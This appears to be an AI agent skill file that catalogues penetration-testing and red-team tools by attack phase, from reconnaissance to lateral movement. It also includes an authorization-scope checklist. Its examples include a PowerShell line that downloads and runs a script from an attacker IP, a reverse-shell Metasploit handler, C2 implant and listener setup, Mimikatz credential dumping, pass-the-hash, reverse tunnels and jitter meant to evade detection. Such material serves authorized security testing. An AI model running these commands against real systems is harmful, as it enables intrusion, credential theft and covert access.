Imported from reason-machines/security-skills (skills/awesome-pentest-tools-catalog/SKILL.md). Install upstream with npx skills add reason-machines/security-skills --skill awesome-pentest-tools-catalog. Copyright stays with the author.

Awesome Pentest Tools Catalog

Skill by ara.so — Security Skills collection.

This skill provides expert knowledge of the Awesome Pentest Tools catalog, a comprehensive collection of penetration testing and red team tools organized by the penetration testing lifecycle and MITRE ATT&CK framework. Use this to discover, recommend, and implement security testing tools across all phases of penetration testing.

Overview

The catalog organizes tools into these primary phases:

Information Gathering (信息收集) - Asset and target reconnaissance
Vulnerability Analysis (漏洞分析) - Host and web vulnerability scanning
Exploitation (漏洞利用) - Exploit frameworks and service-specific tools
Privilege Escalation (权限提升) - Linux, Windows, and container escape
Persistence (权限维持与后门) - C2 frameworks, webshells, and evasion
Tunneling & Proxying (隧道代理) - Network pivoting and protocol tunneling
Post-Exploitation (后渗透与域) - Credential theft and lateral movement
Covering Tracks (痕迹清理) - Log cleanup and anti-forensics

Key Tool Categories

Information Gathering

Network & Port Scanning

# Masscan - Fast internet-wide TCP scanner
masscan -p1-65535 192.168.1.0/24 --rate=10000 -oL output.txt

# RustScan - Modern port scanner
rustscan -a 192.168.1.1 --ulimit 5000 -- -A -sC

# Naabu - Fast port discovery
naabu -host 192.168.1.1 -p - -rate 10000

# Nmap - Network mapper
nmap -sV -sC -p- 192.168.1.1 -oA scan_results

# Netspy - Internal network segment discovery
netspy -t 192.168.1.1

Fingerprinting & Technology Detection

# WhatWeb - Next generation web scanner
whatweb -v -a 3 https://target.com

# Webanalyze - Batch Wappalyzer detection
webanalyze -host https://target.com -apps apps.json

# EHole - Red team system fingerprint detection
./EHole finger -l urls.txt -json result.json

# TideFinger - Comprehensive fingerprint recognition
./TideFinger_Go -u https://target.com

Directory & Parameter Discovery

# FFuF - Fast web fuzzer
ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200,301,302

# Dirsearch - Web path scanner
dirsearch -u https://target.com -e php,html,js -x 403,404

# Feroxbuster - Fast content discovery
feroxbuster -u https://target.com -w wordlist.txt -x php,asp,aspx,jsp

Vulnerability Scanning

Quick Network Scanning

# Fscan - Comprehensive internal network scanner
./fscan -h 192.168.1.0/24 -np -no -nobr

# Vscan - Vulnerability scanner with POC integration
./vscan -target 192.168.1.1 -all

Comprehensive Vulnerability Assessment

# Nuclei - Fast template-based scanner
nuclei -l targets.txt -t nuclei-templates/ -severity critical,high

# Xray - Passive & active security scanner
xray webscan --basic-crawler http://target.com --html-output report.html

# OpenVAS - Full-featured vulnerability scanner
# (GUI-based, typically accessed via web interface)

Code Auditing

# Semgrep - Static analysis for many languages
# Install: pip install semgrep
import subprocess

def scan_code(path, rules="auto"):
    """Run semgrep security scan"""
    cmd = ["semgrep", "--config", rules, path, "--json"]
    result = subprocess.run(cmd, capture_output=True, text=True)
    return result.stdout

# Usage
scan_results = scan_code("./src", "p/security-audit")

# Fortify - Java code auditor
java -jar fortify.jar -source ./src -output report.html

# Seay - PHP code auditor (GUI-based)
# Typically run through graphical interface

Exploitation

Framework Tools

# SearchSploit - Exploit-DB search
import subprocess

def search_exploits(keyword):
    """Search for exploits using searchsploit"""
    result = subprocess.run(
        ["searchsploit", keyword, "-j"],
        capture_output=True,
        text=True
    )
    return result.stdout

# Usage
exploits = search_exploits("apache 2.4")

# Metasploit Framework
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit"

# Pocsuite3 - POC framework
pocsuite -r poc_file.py -u http://target.com --verify

Service-Specific Tools

# Hydra - Network login cracker
hydra -L users.txt -P passwords.txt ssh://192.168.1.1

# SQLMap - SQL injection tool
sqlmap -u "http://target.com/page?id=1" --dbs --batch

# Redis exploitation
redis-cli -h 192.168.1.1 -a $REDIS_PASSWORD

Privilege Escalation

Linux Privilege Escalation

# LinPEAS - Linux privilege escalation scanner
./linpeas.sh -a > linpeas_report.txt

# Linux Exploit Suggester
./linux-exploit-suggester.sh --uname $(uname -r)

# PEASS-ng (includes linpeas, winpeas)
./linpeas.sh -q -o linpeas_out.txt

Windows Privilege Escalation

# WinPEAS - Windows privilege escalation scanner
.\winPEASx64.exe > winpeas_output.txt

# Windows Exploit Suggester - NG
python wes.py systeminfo.txt -i 'Elevation of Privilege' --hide 'Internet Explorer'

# PowerUp - PowerShell privilege escalation
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/PowerUp.ps1'); Invoke-AllChecks"

Post-Exploitation & C2

Command & Control Frameworks

# Sliver - Modern C2 framework
# Generate implant
# sliver > generate --http 10.0.0.1 --save /tmp/payload.exe

# Cobalt Strike (commercial) - Beacon configuration
# Typically configured via GUI teamserver

# Empire/Starkiller - PowerShell C2
# Configure via web interface or API
import requests
import os

def empire_create_listener(api_url, token):
    """Create Empire HTTP listener"""
    headers = {"Authorization": f"Bearer {token}"}
    listener_config = {
        "name": "http_listener",
        "template": "http",
        "options": {
            "Host": "http://10.0.0.1:8080",
            "Port": "8080"
        }
    }
    response = requests.post(
        f"{api_url}/listeners",
        json=listener_config,
        headers=headers
    )
    return response.json()

# Usage with environment variable
empire_url = os.getenv("EMPIRE_API_URL", "http://localhost:1337/api/v2")
empire_token = os.getenv("EMPIRE_API_TOKEN")

WebShell Management

// Behinder (冰蝎) - Encrypted webshell
// Client connects to server-side shell with password

// Godzilla (哥斯拉) - Advanced webshell manager
// Supports multiple payload types: JSP, PHP, ASP, ASPX

// AntSword (蚁剑) - Cross-platform webshell manager
// Configuration example (do not hardcode credentials)

# Interactive shell upgrade
"""
Common pattern for upgrading to interactive TTY shell
"""
import subprocess

upgrade_commands = """
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z
stty raw -echo; fg
stty rows 38 columns 116
"""

Tunneling & Proxying

Modern Tunneling Tools

# Chisel - Fast TCP/UDP tunnel over HTTP
# Server
./chisel server -p 8080 --reverse

# Client
./chisel client http://10.0.0.1:8080 R:socks

# NPS - Powerful penetration testing proxy
# Server
./nps install
./nps start

# Client
./npc -server=10.0.0.1:8024 -vkey=$NPS_VKEY -type=tcp

// Frp - Fast reverse proxy configuration example
// frps.ini (server)
/*
[common]
bind_port = 7000
token = ${FRP_TOKEN}
*/

// frpc.ini (client)
/*
[common]
server_addr = 10.0.0.1
server_port = 7000
token = ${FRP_TOKEN}

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
*/

Protocol-Specific Tunnels

# Regeorg - SOCKS over HTTP
python reGeorgSocksProxy.py -p 1080 -u http://target.com/tunnel.jsp

# Neo-reGeorg - Improved version
python neoreg.py generate -k $TUNNEL_PASSWORD
python neoreg.py -k $TUNNEL_PASSWORD -u http://target.com/tunnel.php

# DNS Tunneling with dnscat2
# Server
dnscat2-server tunnel.example.com

# Client
./dnscat tunnel.example.com

Domain & Lateral Movement

# BloodHound - Active Directory visualization
# Start Neo4j database
neo4j console

# Collect data with SharpHound
.\SharpHound.exe -c All --outputdirectory C:\Temp

# Impacket - Python classes for network protocols
# Pass-the-Hash with wmiexec
impacket-wmiexec -hashes :$NTLM_HASH administrator@192.168.1.10

# Mimikatz - Credential extraction (Windows)
privilege::debug
sekurlsa::logonpasswords

# LaZagne - Credential recovery tool
laZagne.exe all -oN output.txt

# CrackMapExec - Network authentication testing
import subprocess
import os

def cme_smb_scan(target_range, username, password_file):
    """Execute CrackMapExec SMB scan"""
    cmd = [
        "crackmapexec", "smb", target_range,
        "-u", username,
        "-p", password_file,
        "--shares"
    ]
    result = subprocess.run(cmd, capture_output=True, text=True)
    return result.stdout

# Usage
results = cme_smb_scan(
    "192.168.1.0/24",
    "administrator",
    os.getenv("PASSWORD_LIST", "passwords.txt")
)

Common Workflows

External Pentest Workflow

"""
Typical external penetration test workflow
"""
import subprocess
import os

class ExternalPentest:
    def __init__(self, target_domain):
        self.target = target_domain
        self.results_dir = f"results_{target_domain}"
        os.makedirs(self.results_dir, exist_ok=True)
    
    def asset_discovery(self):
        """Phase 1: Asset discovery"""
        # Subdomain enumeration
        subprocess.run([
            "subfinder", "-d", self.target,
            "-o", f"{self.results_dir}/subdomains.txt"
        ])
        
        # HTTP probing
        subprocess.run([
            "httpx", "-l", f"{self.results_dir}/subdomains.txt",
            "-o", f"{self.results_dir}/live_hosts.txt"
        ])
    
    def port_scanning(self):
        """Phase 2: Port scanning"""
        subprocess.run([
            "naabu", "-l", f"{self.results_dir}/live_hosts.txt",
            "-p", "-", "-rate", "10000",
            "-o", f"{self.results_dir}/ports.txt"
        ])
    
    def vulnerability_scan(self):
        """Phase 3: Vulnerability scanning"""
        subprocess.run([
            "nuclei", "-l", f"{self.results_dir}/live_hosts.txt",
            "-t", "nuclei-templates/",
            "-severity", "critical,high",
            "-o", f"{self.results_dir}/vulnerabilities.txt"
        ])
    
    def run_full_scan(self):
        """Execute complete external pentest"""
        self.asset_discovery()
        self.port_scanning()
        self.vulnerability_scan()
        return f"Results saved in {self.results_dir}/"

# Usage
pentest = ExternalPentest("target.com")
pentest.run_full_scan()

Internal Network Pentest

#!/bin/bash
# Internal network penetration testing workflow

TARGET_NETWORK="192.168.1.0/24"
RESULTS_DIR="internal_pentest_$(date +%Y%m%d)"
mkdir -p $RESULTS_DIR

# Phase 1: Network discovery
echo "[*] Phase 1: Network Discovery"
nmap -sn $TARGET_NETWORK -oA $RESULTS_DIR/network_sweep

# Phase 2: Port scanning
echo "[*] Phase 2: Port Scanning"
nmap -p- -T4 -iL $RESULTS_DIR/network_sweep.gnmap -oA $RESULTS_DIR/full_scan

# Phase 3: Service detection
echo "[*] Phase 3: Service Detection"
nmap -sV -sC -iL $RESULTS_DIR/network_sweep.gnmap -oA $RESULTS_DIR/service_scan

# Phase 4: Vulnerability scanning
echo "[*] Phase 4: Vulnerability Scanning"
fscan -hf $RESULTS_DIR/network_sweep.gnmap -o $RESULTS_DIR/fscan_results.txt

# Phase 5: Exploit vulnerable services
echo "[*] Phase 5: Exploitation (manual review required)"
echo "Review results in $RESULTS_DIR/"

Configuration Examples

Nuclei Templates Configuration

# nuclei-config.yaml
# Place in ~/.config/nuclei/config.yaml

templates:
  - /path/to/nuclei-templates
  - /path/to/custom-templates

severity:
  - critical
  - high

threads: 50
rate-limit: 150
timeout: 5

http:
  max-redirects: 3
  user-agent: "Custom-Scanner/1.0"

network:
  max-host-error: 30

output:
  no-timestamp: false
  json: true

Proxychains Configuration

# /etc/proxychains.conf or ~/.proxychains/proxychains.conf

strict_chain
# or dynamic_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
# Add your SOCKS proxy
socks5 127.0.0.1 1080
# Or HTTP proxy
http 127.0.0.1 8080

Best Practices

Tool Selection Guide

"""
Helper functions for tool selection based on scenario
"""

def select_port_scanner(scenario):
    """Choose appropriate port scanner"""
    scanners = {
        "internet_wide": "masscan",  # Fastest for large ranges
        "single_host_full": "rustscan",  # Fast + comprehensive
        "service_detection": "nmap",  # Best fingerprinting
        "internal_network": "naabu",  # Balanced speed/accuracy
    }
    return scanners.get(scenario, "nmap")

def select_web_scanner(target_type):
    """Choose web vulnerability scanner"""
    scanners = {
        "quick_check": "nuclei",  # Template-based, fast
        "comprehensive": "xray",  # Deep crawl + detection
        "api_testing": "ffuf",  # API endpoint fuzzing
        "sql_injection": "sqlmap",  # SQL-specific
    }
    return scanners.get(target_type, "nuclei")

def select_c2_framework(requirements):
    """Choose C2 framework based on requirements"""
    frameworks = {
        "stealth": "sliver",  # Modern, encrypted
        "feature_rich": "cobaltstrike",  # Commercial, full-featured
        "powershell": "empire",  # PowerShell-focused
        "open_source": "covenant",  # .NET-based alternative
    }
    return frameworks.get(requirements, "sliver")

Safety & Legality

"""
Pre-engagement checklist automation
"""
import os
from datetime import datetime

class PentestEngagement:
    def __init__(self):
        self.scope = []
        self.out_of_scope = []
        self.authorization = None
        self.start_date = None
        self.end_date = None
    
    def verify_authorization(self, target):
        """Verify target is in authorized scope"""
        if target in self.out_of_scope:
            raise ValueError(f"Target {target} is OUT OF SCOPE")
        
        if target not in self.scope:
            raise ValueError(f"Target {target} not in authorized scope")
        
        current_date = datetime.now()
        if not (self.start_date <= current_date <= self.end_date):
            raise ValueError("Outside authorized testing window")
        
        return True
    
    def log_action(self, action, target):
        """Log all testing actions"""
        log_entry = f"[{datetime.now()}] {action} on {target}\n"
        with open("pentest_log.txt", "a") as f:
            f.write(log_entry)

# Usage
engagement = PentestEngagement()
engagement.scope = ["192.168.1.0/24", "target.com"]
engagement.out_of_scope = ["192.168.1.1"]  # Critical infrastructure
engagement.start_date = datetime(2024, 1, 1)
engagement.end_date = datetime(2024, 1, 31)

try:
    engagement.verify_authorization("192.168.1.50")
    engagement.log_action("nmap scan", "192.168.1.50")
except ValueError as e:
    print(f"Authorization check failed: {e}")

Troubleshooting

Tool Installation Issues

# Go-based tools (nuclei, naabu, httpx, etc.)
export GO111MODULE=on
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

# Python tools with dependency issues
python3 -m venv pentest_env
source pentest_env/bin/activate
pip install --upgrade pip setuptools wheel
pip install impacket sqlmap

# Binary tools permission issues
chmod +x ./tool_name
# If capabilities needed (e.g., raw sockets)
sudo setcap cap_net_raw+ep ./tool_name

Network/Proxy Issues

# Test proxy connectivity
curl --proxy socks5://127.0.0.1:1080 http://example.com

# Force tool through proxy
proxychains4 nmap -sT 192.168.1.1

# DNS issues in proxied environment
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf

Rate Limiting & Detection

"""
Implement rate limiting and jitter to avoid detection
"""
import time
import random

class StealthScanner:
    def __init__(self, delay_range=(1, 5)):
        self.delay_range = delay_range
    
    def random_delay(self):
        """Add random delay between requests"""
        delay = random.uniform(*self.delay_range)
        time.sleep(delay)
    
    def scan_targets(self, targets, scan_function):
        """Scan with rate limiting"""
        results = []
        for target in targets:
            self.random_delay()
            result = scan_function(target)
            results.append(result)
        return results

# Usage
scanner = StealthScanner(delay_range=(2, 8))
# scanner.scan_targets(target_list, scan_function)

Additional Resources

Official Documentation: Review individual tool repositories for detailed docs
Community: Many tools have Discord/Slack channels for support
Updates: Follow tool maintainers on GitHub for latest releases
Legal Framework: Always obtain written authorization before testing

Environment Variables Reference

# Common environment variables for security tools
export NUCLEI_TEMPLATES_PATH="/opt/nuclei-templates"
export METASPLOIT_DB_HOST="localhost"
export EMPIRE_API_TOKEN="your-api-token-here"
export FRP_TOKEN="your-frp-token-here"
export NPS_VKEY="your-nps-vkey-here"
export TUNNEL_PASSWORD="your-tunnel-password-here"
export PASSWORD_LIST="/path/to/passwords.txt"

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